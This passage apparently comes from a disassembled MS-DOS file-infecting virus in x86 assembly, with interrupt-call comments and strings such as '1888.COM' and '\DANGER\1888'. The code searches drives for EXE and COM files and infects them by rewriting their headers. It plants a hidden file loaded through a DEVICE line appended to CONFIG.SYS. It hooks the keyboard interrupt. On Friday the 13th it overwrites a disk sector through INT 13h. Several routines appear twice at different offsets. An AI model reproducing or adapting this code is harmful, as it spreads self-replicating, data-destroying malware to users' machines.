ax,word ptr data_012C+2 + mov ds,ax + xor dx,dx ; Zero register + mov ah,40h ; '@' + int 21h ; DOS Services ah=function 40h + ; write file bx=file handle + ; cx=bytes from ds:dx buffer + pop ds + +loc_ret_04DD: + retn +sub_0472 endp + + +; +; SUBROUTINE +; + +sub_04DE proc near + cmp data_011B,2 + ja loc_04E8 ; Jump if above + xor ax,ax ; Zero register + retn +loc_04E8: + mov al,data_0133 + and al,1 + retn +sub_04DE endp + + +; +; SUBROUTINE +; + +sub_04EE proc near + cmp data_0133,0Fh + jb loc_0507 ; Jump if below + mov al,data_0135 + cmp al,13h + jb loc_0507 ; Jump if below + mov ax,40h + mov es,ax + mov byte ptr es:d_0040_004A_e,23h ; '#' +loc_0507: + cmp data_0133,0Dh + jne loc_ret_0524 ; Jump if not equal + cmp data_0134,5 + jne loc_ret_0524 ; Jump if not equal + mov ax,301h + mov cx,1 + mov dx,50h + xor bx,bx ; Zero register + mov es,bx + int 13h ; Disk dl=drive ? ah=func 03h + ; write sectors from mem es:bx + ; al=#,ch=cyl,cl=sectr,dh=head + +loc_ret_0524: + retn +sub_04EE endp + + +; +; SUBROUTINE +; + +sub_0525 proc near + mov data_019B,1 + lea dx,data_05C1 ; Load effective addr + mov cx,27h + mov ah,4Eh ; 'N' + int 21h ; DOS Services ah=function 4Eh + ; find 1st filenam match @ds:dx + jnc loc_0564 ; Jump if carry=0 + mov ah,3Ch ; '<' + mov cx,6 + int 21h ; DOS Services ah=function 3Ch + ; create/truncate file @ ds:dx + mov bx,ax + lea dx,data_05EE ; Load effective addr + mov cx,data_070A + mov si,dx + add si,data_00B3_e + mov ax,data_0130 + mov [si],ax + mov ah,data_0132 + mov [si+2],ah + mov ah,40h ; '@' + int 21h ; DOS Services ah=function 40h + ; write file bx=file handle + ; cx=bytes from ds:dx buffer + mov ah,3Eh ; '>' + int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle + jc loc_05BD ; Jump if carry Set +loc_0564: + lea dx,data_05C7 ; Load effective addr + mov cx,27h + mov ah,4Eh ; 'N' + int 21h ; DOS Services ah=function 4Eh + ; find 1st filenam match @ds:dx + jc loc_05BD ; Jump if carry Set + call sub_036C + xor cx,cx ; Zero register + mov ax,4301h + int 21h ; DOS Services ah=function 43h + ; set attrb cx, filename @ds:dx + mov ax,3D02h + int 21h ; DOS Services ah=function 3Dh + ; open file, al=mode,name@ds:dx + mov bx,ax + jc loc_05BD ; Jump if carry Set + mov cx,data_0108 + push es + push ds + mov ax,word ptr data_012C+2 + mov ds,ax + mov es,ax + xor dx,dx ; Zero register + mov ah,3Fh ; '?' + int 21h ; DOS Services ah=function 3Fh + ; read file, bx=file handle + ; cx=bytes to ds:dx buffer + pop ds + mov dx,ax + mov ax,0FFFFh + xor di,di ; Zero register + repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al + cmp ax,es:[di-1] + pop es + jz loc_05BD ; Jump if zero + mov ax,4200h + xor cx,cx ; Zero register + dec dx + int 21h ; DOS Services ah=function 42h + ; move file ptr, bx=file handle + ; al=method, cx,dx=offset + jc loc_05BD ; Jump if carry Set + lea dx,data_05D5 ; Load effective addr + mov cx,19h + mov ah,40h ; '@' + int 21h ; DOS Services ah=function 40h + ; write file bx=file handle + ; cx=bytes from ds:dx buffer +loc_05BD: + call sub_037D + retn +sub_0525 endp + +data_05C1 db 43h + db 3Ah, 5Ch,0FFh,0FFh, 00h +data_05C7 db 'C:\CONFIG.SYS', 0 +data_05D5 db 'DEVICE =' + db 0FFh,0FFh + db ' COUNTRY.SYS', 0Dh, 0Ah + db 1Ah +data_05EE db 0FFh + db 0FFh,0FFh,0FFh, 40h,0C8h, 16h + db 00h, 21h, 00h + db 'hgt42 ' + db 00h, 00h, 00h, 00h, 2Eh, 89h + db 1Eh, 12h, 00h, 2Eh, 8Ch, 06h + db 14h, 00h,0CBh, 1Eh, 06h, 0Eh + db 1Fh,0C4h, 3Eh, 12h, 00h, 26h + db 8Ah, 45h, 02h, 3Ch, 00h, 75h + db 03h,0E8h, 82h, 00h + db 0Dh, 00h, 10h, 26h, 89h, 45h + db 03h, 07h, 1Fh,0CBh, 50h, 53h + db 51h, 1Eh + db 0E4h, 60h,0A8h, 80h, 75h, 30h + db 2Eh, 8Bh, 1Eh,0A9h, 00h, 3Ah + db 0C7h, 75h, 27h,0B8h, 40h, 00h + db 8Eh,0D8h,0E8h, 28h, 00h, 25h + db 05h, 00h, 8Bh,0C8h + db 0BBh, 1Ch, 00h + +locloop_064F: + mov ax,cs:data_00A9_e + mov [bx],ax + add bx,2 + cmp bx,3Fh + jb loc_0660 ; Jump if below + mov bx,1Eh +loc_0660: + mov word ptr ds:[1Ch],bx + loop locloop_064F ; Loop if cx > 0 + +loc_0666: + pop ds + pop cx + pop bx + pop ax + jmp dword ptr cs:data_00A3_e + +; +; SUBROUTINE +; + +sub_066F proc near + mov ax,cs:data_00A7_e + push ax + and ah,0B4h + pop ax + jp loc_067B ; Jump if parity=1 + stc ; Set carry flag +loc_067B: + rcl ax,1 ; Rotate thru carry + mov cs:data_00A7_e,ax + retn +sub_066F endp + + db 'hgt42 ' + db 00h, 56h, 31h, 00h, 46h, 52h + db 44h, 00h, 00h, 00h, 00h, 00h + db 00h, 65h, 12h, 65h, 73h, 74h + db 6Eh, 12h, 1Fh, 14h, 31h,0CDh + db 0ABh,0EFh + db 06h, 57h,0B4h, 2Ah,0CDh, 21h + db 8Ah,0E6h, 3Bh, 0Eh,0B3h, 00h + db 74h, 03h, 80h,0C4h + db 0Ch +loc_06B5: + sub ah,ds:data_00B5_e + cmp ah,3 + jb loc_06FB ; Jump if below + mov ds:data_00B5_e,dh + mov ds:data_00B3_e,cx + mov ah,2Ch ; ',' + int 21h ; DOS Services ah=function 2Ch + ; get time, cx=hrs/min, dx=sec + mov ds:data_00A7_e,dx + call sub_066F + mov bx,ax + and bx,3 + nop ;*ASM fixup - sign extn byte + mov al,ds:data_00AB_e[bx] + mov ah,ds:data_00AF_e[bx] + mov ds:data_00A9_e,ax + mov ax,3516h + int 21h ; DOS Services ah=function 35h + ; get intrpt vector al in es:bx + mov ds:data_00A3_e,bx + mov bx,es + mov word ptr ds:data_00A3_e+2,bx + cli ; Disable interrupts +;* mov dx,offset loc_003E ;* + db 0BAh, 3Eh, 00h + mov ax,2516h + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + sti ; Enable interrupts +loc_06FB: + pop di + pop es + mov word ptr es:[di+0Eh],0B6h + mov es:[di+10h],cs + xor ax,ax ; Zero register + retn +data_070A dw 11Ch +data_070C db 8Bh + db 1Eh, 28h, 01h,0A1h, 26h, 01h + db 8Eh,0D0h, 8Bh, 26h, 24h, 01h + dw 0EC83h, 8B04h + dw 80F4h, 1F3Eh + dw 1, 2875h + dw 0BFh, 3601h + dw 3C89h, 0FB8Bh + dw 8936h, 27Ch + dw 0FF33h, 8936h + dw 47Ch, 0BFh + dw 8B01h, 2236h + dw 301h, 8BF7h + dw 1C0Eh, 8C01h + dw 8ED8h, 0F3C0h + dw 0EBA4h, 9016h + db 8Bh,0FBh, 83h,0C7h, 10h,0A1h + db 16h, 00h, 03h,0F8h, 36h, 89h + db 7Ch, 02h, 8Bh, 3Eh, 14h, 00h + db 36h, 89h + db 3Ch + db 8Eh,0DBh, 8Eh,0C3h,0CBh +loc_0767: + mov ax,ss + mov cs:data_0126,ax + mov cs:data_0124,sp + mov ax,cs + mov ss,ax + mov sp,1F7h + push ds + mov ds,ax + pop ax + mov data_0128,ax + call sub_0269 + mov ax,cs + mov es,ax + call sub_01F7 + mov dx,offset data_019D + mov ah,1Ah + int 21h ; DOS Services ah=function 1Ah + ; set DTA(disk xfer area) ds:dx + call sub_02AF + call sub_02A5 + jnc loc_079C ; Jump if carry=0 + jmp loc_083A +loc_079C: + call sub_0227 + jc loc_07A4 ; Jump if carry Set + jmp loc_083A +loc_07A4: + call sub_023A + call sub_02D0 + mov data_011E,0 +loc_07AF: + call sub_0355 + jc loc_0800 ; Jump if carry Set +loc_07B4: + cmp data_019C,4 + ja loc_083A ; Jump if above + call sub_036C + call sub_034D + jnc loc_07FA ; Jump if carry=0 + cmp data_010A,4 + ja loc_07FA ; Jump if above + call sub_03A6 + jc loc_083A ; Jump if carry Set + cmp data_011E,0 + je loc_07DB ; Jump if equal + call sub_03BB + jmp short loc_07DE +loc_07DB: + call sub_0472 +loc_07DE: + call sub_037D + jc loc_083A ; Jump if carry Set + inc data_019C + cmp data_019B,1 + je loc_07FA ; Jump if equal + call sub_04DE + jz loc_07FA ; Jump if zero + call sub_0525 + jc loc_083A ; Jump if carry Set + jmp short loc_07AF +loc_07FA: + mov ah,4Fh ; 'O' + int 21h ; DOS Services ah=function 4Fh + ; find next filename match + jnc loc_07B4 ; Jump if carry=0 +loc_0800: + cmp data_011E,1 + je loc_080E ; Jump if equal + mov data_011E,1 + jmp short loc_07AF +loc_080E: + mov data_011E,0 + cmp data_019A,0 + jne loc_0829 ; Jump if not equal + lea dx,data_015A ; ('C:\') Load effective addr + mov ah,3Bh ; ';' + int 21h ; DOS Services ah=function 3Bh + ; set current dir, path @ ds:dx + mov data_019A,0FFh + jmp short loc_07AF +loc_0829: + cmp data_0182,0 + je loc_083A ; Jump if equal + call sub_0328 + dec data_0182 + jmp loc_07AF +loc_083A: + lea dx,data_013A ; ('\DANGER\1888') Load effective addr + mov ah,3Bh ; ';' + int 21h ; DOS Services ah=function 3Bh + ; set current dir, path @ ds:dx + call sub_04DE + jz loc_084A ; Jump if zero + call sub_04EE +loc_084A: + mov ax,word ptr data_012C+2 + mov es,ax + mov cx,5Bh + mov si,offset data_070C + xor di,di ; Zero register + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + call sub_028C + call data_012C + int 20h ; DOS program terminate + db 0E9h, 64h, 06h, 20h,0A4h, 86h + db 0FCh, 18h, 02h, 00h, 00h, 00h + db 31h, 2Eh, 43h, 4Fh, 4Dh, 00h + db 20h, 20h, 4Dh, 00h, 00h, 00h + db 0A6h, 24h, 00h, 00h, 60h, 07h + db 00h, 00h, 60h, 07h, 60h, 07h + db 0FEh,0FFh, 6Ch, 0Dh, 6Ch, 0Dh + db 94h, 92h, 00h, 00h, 01h, 9Eh + db 0C8h, 07h, 07h, 1Ch, 02h, 10h + db 00h, 00h, 00h, 00h, 5Ch, 00h + db 4Fh, 53h, 53h, 49h, 00h, 45h + db 4Eh, 00h + db 53h, 54h + db 20 dup (0) + db 'C:\', 0 + db '*', 0 + db 'NETWARE', 0 + db 'LMS', 0 + db 'MAUS', 0 + db 'MDB', 0 + db 'DOS', 0 + db 'BASE', 0 + db 'L', 0 + db '`' + db 01h, 00h, 01h, 14h, 17h, 6Eh + db 00h, 01h,0A9h, 00h, 01h,0BFh + db 38h, 2Ah, 2Eh, 65h, 78h, 65h + db 00h, 2Ah, 2Eh, 63h, 6Fh, 6Dh + db 00h, 00h, 00h, 04h, 01h + db 3Fh + db 7 dup (3Fh) + db 43h, 4Fh, 4Dh, 23h, 0Ah, 00h + db 00h, 00h, 31h,0C0h, 50h, 9Ah + db 20h,0A4h, 86h,0FCh, 18h, 02h + db 00h, 00h, 00h, 31h, 2Eh, 43h + db 4Fh, 4Dh, 00h, 20h, 20h, 4Dh + db 00h, 00h, 00h,0A6h,0EAh,0AAh + db 03h, 00h,0CCh,0AAh, 03h, 00h + db 00h, 31h, 31h, 00h, 40h, 48h + db 07h, 00h, 40h, 6Ch, 15h, 6Ch + db 15h, 00h, 40h, 05h, 00h, 60h + db 07h, 00h, 01h,0C8h, 01h, 19h + db 01h, 82h, 08h, 6Ch, 0Dh, 6Ch + db 0Dh,0ADh, 04h, 6Ch, 0Dh, 46h + db 72h,0DEh, 07h + +; +; SUBROUTINE +; + +sub_0959 proc near + cmp data_011C,0 + jne loc_0969 ; Jump if not equal + mov ax,760h + mov data_011C,ax + mov data_0120,ax +loc_0969: + mov al,data_011E + mov data_011F,al + mov ax,data_0120 + mov data_0122,ax + inc data_0119 + mov data_019C,0 + mov data_019A,0 + mov data_019B,0 + retn +sub_0959 endp + + +; +; SUBROUTINE +; + +sub_0989 proc near + lea dx,data_0183 ; Load effective addr + xor al,al ; Zero register + mov ah,3Dh ; '=' + int 21h ; DOS Services ah=function 3Dh + ; open file, al=mode,name@ds:dx + jc loc_ret_099B ; Jump if carry Set + mov bx,ax + mov ah,3Eh ; '>' + int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle + +loc_ret_099B: + retn +sub_0989 endp + + +; +; SUBROUTINE +; + +sub_099C proc near + mov ah,2Ah ; '*' + int 21h ; DOS Services ah=function 2Ah + ; get date, cx=year, dh=month + ; dl=day, al=day-of-week 0=SUN + mov ah,dh + cmp cx,data_0130 + je loc_09AB ; Jump if equal + add ah,0Ch +loc_09AB: + sub ah,data_0132 + mov data_011B,ah + mov data_0134,al + mov data_0133,dl + mov data_0132,dh + mov data_0130,cx + mov ah,2Ch ; ',' + int 21h ; DOS Services ah=function 2Ch + ; get time, cx=hrs/min, dx=sec + mov data_0135,ch + retn +sub_099C endp + + +; +; SUBROUTINE +; + +sub_09CB proc near + mov ax,es + dec ax + push es + mov es,ax + mov ax,es:d_8B38_0003_e + mov data_012A,ax + pop es + mov bx,ax + sub bx,200h + mov ah,4Ah ; 'J' + int 21h ; DOS Services ah=function 4Ah + ; change memory allocation + ; bx=bytes/16, es=mem segment + mov bx,150h + mov ah,48h ; 'H' + int 21h ; DOS Services ah=function 48h + ; allocate memory, bx=bytes/16 + mov word ptr data_012C+2,ax + retn +sub_09CB endp + + +; +; SUBROUTINE +; + +sub_09EE proc near + push es + mov ax,word ptr data_012C+2 + mov es,ax + mov ah,49h ; 'I' + int 21h ; DOS Services ah=function 49h + ; release memory block, es=seg + mov ax,data_0128 + mov es,ax + mov bx,data_012A + mov ah,4Ah ; 'J' + int 21h ; DOS Services ah=function 4Ah + ; change memory allocation + ; bx=bytes/16, es=mem segment + pop es + retn +sub_09EE endp + + +; +; SUBROUTINE +; + +sub_0A07 proc near + push ds + mov ah,1Bh + int 21h ; DOS Services ah=function 1Bh + ; get disk info, default drive + ; al=sectors per cluster + ; ds:bx=ptr to media ID byte + ; cx=sector size, dx=clusters + cmp byte ptr [bx],0F8h + pop ds + retn +sub_0A07 endp + + +; +; SUBROUTINE +; + +sub_0A11 proc near + lea si,data_019D ; Load effective addr + mov di,si + xor dl,dl ; Zero register + mov ah,47h ; 'G' + int 21h ; DOS Services ah=function 47h + ; get present dir,drive dl,1=a: + ; ds:si=ASCIIZ directory name + mov cx,30h + mov al,0 + repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al + mov cx,di + sub cx,si + lea di,data_013A ; ('\DANGER\1888') Load effective addr + mov al,5Ch ; '\' + stosb ; Store al to es:[di] + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + retn +sub_0A11 endp + + +; +; SUBROUTINE +; + +sub_0A32 proc near + mov data_0182,0 + lea bx,cs:[160h] ; Load effective addr + add bx,20h + mov data_0180,bx + sub bx,20h + lea dx,data_015A+4 ; ('*') Load effective addr + mov cx,33h + mov ah,4Eh ; 'N' + int 21h ; DOS Services ah=function 4Eh + ; find 1st filenam match @ds:dx + jc loc_0A81 ; Jump if carry Set +loc_0A52: + lea di,data_019D ; Load effective addr + add di,1Eh + cmp byte ptr [di],2Eh ; '.' + je loc_0A7B ; Jump if equal + mov si,di + mov cx,20h + mov al,0 + repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al + mov cx,di + sub cx,si + mov di,bx + add bx,cx + cmp bx,data_0180 + ja loc_0A81 ; Jump if above + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + inc data_0182 +loc_0A7B: + mov ah,4Fh ; 'O' + int 21h ; DOS Services ah=function 4Fh + ; find next filename match + jnc loc_0A52 ; Jump if carry=0 +loc_0A81: + lea bx,cs:[160h] ; Load effective addr + mov data_0180,bx + retn +sub_0A32 endp + + +; +; SUBROUTINE +; + +sub_0A8A proc near + cmp data_0182,0 + je loc_ret_0AAE ; Jump if equal + lea dx,data_013A ; ('\DANGER\1888') Load effective addr + mov ah,3Bh ; ';' + int 21h ; DOS Services ah=function 3Bh + ; set current dir, path @ ds:dx + mov dx,data_0180 + mov di,dx + mov ah,3Bh ; ';' + int 21h ; DOS Services ah=function 3Bh + ; set current dir, path @ ds:dx + mov al,0 + mov cx,20h + repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al + mov data_0180,di + +loc_ret_0AAE: + retn +sub_0A8A endp + + +; +; SUBROUTINE +; + +sub_0AAF proc near + mov ax,data_0104 + and al,1Fh + cmp al,1Eh + retn +sub_0AAF endp + + +; +; SUBROUTINE +; + +sub_0AB7 proc near + lea dx,data_0194 ; Load effective addr + cmp data_011E,0 + je loc_0AC6 ; Jump if equal + lea dx,data_018E ; Load effective addr +loc_0AC6: + mov cx,23h + mov ah,4Eh ; 'N' + int 21h ; DOS Services ah=function 4Eh + ; find 1st filenam match @ds:dx + retn +sub_0AB7 endp + + +; +; SUBROUTINE +; + +sub_0ACE proc near + lea si,data_019D ; Load effective addr + add si,15h + lea di,data_0103 ; Load effective addr + mov cx,16h + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + retn +sub_0ACE endp + + +; +; SUBROUTINE +; + +sub_0ADF proc near + pushf ; Push flags + mov cx,data_0104 + or cl,1Fh + and cl,0FEh + mov dx,data_0106 + mov ax,5701h + int 21h ; DOS Services ah=function 57h + ; set file date+time, bx=handle + ; cx=time, dx=time + mov ah,3Eh ; '>' + int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle + lea dx,data_010C ; ('1888.COM') Load effective addr + xor ch,ch ; Zero register + mov cl,data_0103 + mov ax,4301h + int 21h ; DOS Services ah=function 43h + ; set attrb cx, filename @ds:dx + popf ; Pop flags + retn +sub_0ADF endp + + +; +; SUBROUTINE +; + +sub_0B08 proc near + lea dx,data_010C ; ('1888.COM') Load effective addr + xor cx,cx ; Zero register + mov ax,4301h + int 21h ; DOS Services ah=function 43h + ; set attrb cx, filename @ds:dx + jc loc_ret_0B1C ; Jump if carry Set + mov ax,3D02h + int 21h ; DOS Services ah=function 3Dh + ; open file, al=mode,name@ds:dx + mov bx,ax + +loc_ret_0B1C: + retn +sub_0B08 endp + + +; +; SUBROUTINE +; + +sub_0B1D proc near + push ds + mov ax,word ptr data_012C+2 + mov ds,ax + mov cx,100h + xor dx,dx ; Zero register + mov ah,3Fh ; '?' + int 21h ; DOS Services ah=function 3Fh + ; read file, bx=file handle + ; cx=bytes to ds:dx buffer + cmp word ptr ds:d_9E01_0000_e,5A4Dh + nop ;*ASM fixup - sign extn byte + je loc_0B38 ; Jump if equal + stc ; Set carry flag + jmp loc_0BB7 +loc_0B38: + call sub_0BB9 + push ax + mov ax,di + and ax,0Fh + mov cx,10h + xor dx,dx ; Zero register + sub cx,ax + mov ah,40h ; '@' + int 21h ; DOS Services ah=function 40h + ; write file bx=file handle + ; cx=bytes from ds:dx buffer + jnc loc_0B51 ; Jump if carry=0 + jmp short loc_0BB7 + db 90h +loc_0B51: + mov si,ax + mov cx,100h + mov ah,40h ; '@' + int 21h ; DOS Services ah=function 40h + ; write file bx=file handle + ; cx=bytes from ds:dx buffer + jc loc_0BB7 ; Jump if carry Set + pop dx + mov ax,di + add ax,si + add ax,100h + cmp ax,200h + jb loc_0B6D ; Jump if below + and ax,1FFh + inc dx +loc_0B6D: + mov cl,4 + shr ax,cl ; Shift w/zeros fill + dec dx + mov cl,5 + shl dx,cl ; Shift w/zeros fill + sub dx,ds:d_9E01_0008_e + add ax,dx + sub ax,10h + mov ds:d_9E01_0016_e,ax + mov word ptr ds:d_9E01_0014_e,100h + push ds + mov ax,cs + mov ds,ax + mov cx,data_011C + mov dx,100h + mov ah,40h ; '@' + int 21h ; DOS Services ah=function 40h + ; write file bx=file handle + ; cx=bytes from ds:dx buffer + pop ds + jc loc_0BB7 ; Jump if carry Set + call sub_0BB9 + mov ds:d_9E01_0002_e,di + mov ds:d_9E01_0004_e,ax + mov ax,4200h + xor dx,dx ; Zero register + xor cx,cx ; Zero register + int 21h ; DOS Services ah=function 42h + ; move file ptr, bx=file handle + ; al=method, cx,dx=offset + jc loc_0BB7 ; Jump if carry Set + mov cx,100h + mov ah,40h ; '@' + int 21h ; DOS Services ah=function 40h + ; write file bx=file handle + ; cx=bytes from ds:dx buffer +loc_0BB7: + pop ds + retn +sub_0B1D endp + + +; +; SUBROUTINE +; + +sub_0BB9 proc near + mov ax,4202h + xor cx,cx ; Zero register + xor dx,dx ; Zero register + int 21h ; DOS Services ah=function 42h + ; move file ptr, bx=file handle + ; al=method, cx,dx=offset + mov di,ax + and di,1FFh + mov cl,9 + shr ax,cl ; Shift w/zeros fill + mov cl,7 + shl dx,cl ; Shift w/zeros fill + add ax,dx + inc ax + retn +sub_0BB9 endp + + +; +; SUBROUTINE +; + +sub_0BD4 proc near + mov ax,data_0108 + mov data_0120,ax + mov cx,data_011C + cmp cx,ax + jb loc_0BEA ; Jump if below + mov data_0120,cx + mov cx,data_0108 +loc_0BEA: + push ds + mov ax,word ptr data_012C+2 + mov ds,ax + xor dx,dx ; Zero register + mov ah,3Fh ; '?' + int 21h ; DOS Services ah=function 3Fh + ; read file, bx=file handle + ; cx=bytes to ds:dx buffer + pop ds + jc loc_ret_0C3F ; Jump if carry Set + mov ax,4200h + xor dx,dx ; Zero register + xor cx,cx ; Zero register + int 21h ; DOS Services ah=function 42h + ; move file ptr, bx=file handle + ; al=method, cx,dx=offset + jc loc_ret_0C3F ; Jump if carry Set + mov dx,100h + mov cx,data_011C + mov ah,40h ; '@' + int 21h ; DOS Services ah=function 40h + ; write file bx=file handle + ; cx=bytes from ds:dx buffer + jc loc_ret_0C3F ; Jump if carry Set + cmp ax,data_0108 + ja loc_0C2E ; Jump if above + mov ax,4200h + mov dx,data_0108 + mov data_0120,dx + xor cx,cx ; Zero register + int 21h ; DOS Services ah=function 42h + ; move file ptr, bx=file handle + ; al=method, cx,dx=offset + jc loc_ret_0C3F ; Jump if carry Set + mov cx,data_011C + jmp short loc_0C32 +loc_0C2E: + mov cx,data_0108 +loc_0C32: + push ds + mov ax,word ptr data_012C+2 + mov ds,ax + xor dx,dx ; Zero register + mov ah,40h ; '@' + int 21h ; DOS Services ah=function 40h + ; write file bx=file handle + ; cx=bytes from ds:dx buffer + pop ds + +loc_ret_0C3F: + retn +sub_0BD4 endp + + +; +; SUBROUTINE +; + +sub_0C40 proc near + cmp data_011B,2 + ja loc_0C4A ; Jump if above + xor ax,ax ; Zero register + retn +loc_0C4A: + mov al,data_0133 + and al,1 + retn +sub_0C40 endp + + +; +; SUBROUTINE +; + +sub_0C50 proc near + cmp data_0133,0Fh + jb loc_0C69 ; Jump if below + mov al,data_0135 + cmp al,13h + jb loc_0C69 ; Jump if below + mov ax,40h + mov es,ax + mov byte ptr es:d_0040_004A_e,23h ; '#' +loc_0C69: + cmp data_0133,0Dh + jne loc_ret_0C86 ; Jump if not equal + cmp data_0134,5 + jne loc_ret_0C86 ; Jump if not equal + mov ax,301h + mov cx,1 + mov dx,50h + xor bx,bx ; Zero register + mov es,bx + int 13h ; Disk dl=drive ? ah=func 03h + ; write sectors from mem es:bx + ; al=#,ch=cyl,cl=sectr,dh=head + +loc_ret_0C86: + retn +sub_0C50 endp + + +; +; SUBROUTINE +; + +sub_0C87 proc near + mov data_019B,1 + lea dx,data_05C1 ; Load effective addr + mov cx,27h + mov ah,4Eh ; 'N' + int 21h ; DOS Services ah=function 4Eh + ; find 1st filenam match @ds:dx + jnc loc_0CC6 ; Jump if carry=0 + mov ah,3Ch ; '<' + mov cx,6 + int 21h ; DOS Services ah=function 3Ch + ; create/truncate file @ ds:dx + mov bx,ax + lea dx,data_05EE ; Load effective addr + mov cx,data_070A + mov si,dx + add si,data_00B3_e + mov ax,data_0130 + mov [si],ax + mov ah,data_0132 + mov [si+2],ah + mov ah,40h ; '@' + int 21h ; DOS Services ah=function 40h + ; write file bx=file handle + ; cx=bytes from ds:dx buffer + mov ah,3Eh ; '>' + int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle + jc loc_0D1F ; Jump if carry Set +loc_0CC6: + lea dx,data_05C7 ; ('C:\CONFIG.SYS') Load effective add + mov cx,27h + mov ah,4Eh ; 'N' + int 21h ; DOS Services ah=function 4Eh + ; find 1st filenam match @ds:dx + jc loc_0D1F ; Jump if carry Set + call sub_0ACE + xor cx,cx ; Zero register + mov ax,4301h + int 21h ; DOS Services ah=function 43h + ; set attrb cx, filename @ds:dx + mov ax,3D02h + int 21h ; DOS Services ah=function 3Dh + ; open file, al=mode,name@ds:dx + mov bx,ax + jc loc_0D1F ; Jump if carry Set + mov cx,data_0108 + push es + push ds + mov ax,word ptr data_012C+2 + mov ds,ax + mov es,ax + xor dx,dx ; Zero register + mov ah,3Fh ; '?' + int 21h ; DOS Services ah=function 3Fh + ; read file, bx=file handle + ; cx=bytes to ds:dx buffer + pop ds + mov dx,ax + mov ax,0FFFFh + xor di,di ; Zero register + repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al + cmp ax,es:[di-1] + pop es + jz loc_0D1F ; Jump if zero + mov ax,4200h + xor cx,cx ; Zero register + dec dx + int 21h ; DOS Services ah=function 42h + ; move file ptr, bx=file handle + ; al=method, cx,dx=offset + jc loc_0D1F ; Jump if carry Set + lea dx,data_05D5 ; ('DEVICE =') Load effective addr + mov cx,19h + mov ah,40h ; '@' + int 21h ; DOS Services ah=function 40h + ; write file bx=file handle + ; cx=bytes from ds:dx buffer +loc_0D1F: + call sub_0ADF + retn +sub_0C87 endp + + inc bx + cmp bl,[si-1] + inc word ptr [bx+si] + inc bx + cmp bl,[si+43h] + dec di + dec si + inc si + dec cx + inc di + db 2Eh, 53h, 59h, 53h, 00h + db 'DEVICE =' + db 0FFh,0FFh + db ' COUNTRY.SYS', 0Dh, 0Ah + db 1Ah,0FFh,0FFh,0FFh,0FFh, 40h + db 0C8h, 16h, 00h, 21h, 00h + db 'hgt42 ' + db 00h, 00h, 00h, 00h, 2Eh, 89h + db 1Eh, 12h, 00h, 2Eh, 8Ch, 06h + db 14h, 00h,0CBh, 1Eh, 06h, 0Eh + db 1Fh,0C4h, 3Eh, 12h, 00h, 26h + db 8Ah, 45h, 02h, 3Ch, 00h, 75h + db 03h,0E8h, 82h, 00h + db 0Dh, 00h, 10h, 26h, 89h, 45h + db 03h, 07h, 1Fh,0CBh, 50h, 53h + db 51h, 1Eh + db 0E4h, 60h,0A8h, 80h, 75h, 30h + db 2Eh, 8Bh, 1Eh,0A9h, 00h, 3Ah + db 0C7h, 75h, 27h,0B8h, 40h, 00h + db 8Eh,0D8h,0E8h, 28h, 00h, 25h + db 05h, 00h, 8Bh,0C8h + db 0BBh, 1Ch, 00h + +locloop_0DB1: + mov ax,cs:data_00A9_e + mov [bx],ax + add bx,2 + cmp bx,3Fh + jb loc_0DC2 ; Jump if below + mov bx,1Eh +loc_0DC2: + mov word ptr ds:[1Ch],bx + loop locloop_0DB1 ; Loop if cx > 0 + +loc_0DC8: + pop ds + pop cx + pop bx + pop ax + jmp dword ptr cs:data_00A3_e + +; +; SUBROUTINE +; + +sub_0DD1 proc near + mov ax,cs:data_00A7_e + push ax + and ah,0B4h + pop ax + jp loc_0DDD ; Jump if parity=1 + stc ; Set carry flag +loc_0DDD: + rcl ax,1 ; Rotate thru carry + mov cs:data_00A7_e,ax + retn +sub_0DD1 endp + + db 'hgt42 ' + db 00h, 56h, 31h, 00h, 46h, 52h + db 44h, 00h, 00h, 00h, 00h, 00h + db 00h, 65h, 12h, 65h, 73h, 74h + db 6Eh, 12h, 1Fh, 14h, 31h,0CDh + db 0ABh,0EFh + db 06h, 57h,0B4h, 2Ah,0CDh, 21h + db 8Ah,0E6h, 3Bh, 0Eh,0B3h, 00h + db 74h, 03h, 80h,0C4h + db 0Ch +loc_0E17: + sub ah,ds:data_00B5_e + cmp ah,3 + jb loc_0E5D ; Jump if below + mov ds:data_00B5_e,dh + mov ds:data_00B3_e,cx + mov ah,2Ch ; ',' + int 21h ; DOS Services ah=function 2Ch + ; get time, cx=hrs/min, dx=sec + mov ds:data_00A7_e,dx + call sub_0DD1 + mov bx,ax + and bx,3 + nop ;*ASM fixup - sign extn byte + mov al,ds:data_00AB_e[bx] + mov ah,ds:data_00AF_e[bx] + mov ds:data_00A9_e,ax + mov ax,3516h + int 21h ; DOS Services ah=function 35h + ; get intrpt vector al in es:bx + mov ds:data_00A3_e,bx + mov bx,es + mov word ptr ds:data_00A3_e+2,bx + cli ; Disable interrupts +;* mov dx,offset loc_003E ;* + db 0BAh, 3Eh, 00h + mov ax,2516h + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + sti ; Enable interrupts +loc_0E5D: + pop di + pop es + mov word ptr es:[di+0Eh],0B6h + mov es:[di+10h],cs + xor ax,ax ; Zero register + retn + db 1Ch + db 01h, 8Bh, 1Eh, 28h, 01h,0A1h + db 26h, 01h, 8Eh,0D0h, 8Bh, 26h + db 24h, 01h, 83h,0ECh, 04h, 8Bh + db 0F4h, 80h, 3Eh, 1Fh, 01h, 00h + db 75h, 28h,0BFh, 00h, 01h, 36h + db 89h, 3Ch, 8Bh,0FBh, 36h, 89h + db 7Ch, 02h, 33h,0FFh, 36h, 89h + db 7Ch, 04h + db 0BFh, 00h, 01h, 8Bh, 36h, 22h + db 01h, 03h,0F7h, 8Bh, 0Eh, 1Ch + db 01h, 8Ch,0D8h, 8Eh,0C0h,0F3h + db 0A4h,0EBh, 16h, 90h +loc_0EAF: + mov di,bx + add di,10h + mov ax,ds:data_0016_e + add di,ax + mov ss:[si+2],di + mov di,word ptr ds:data_0012_e+2 + 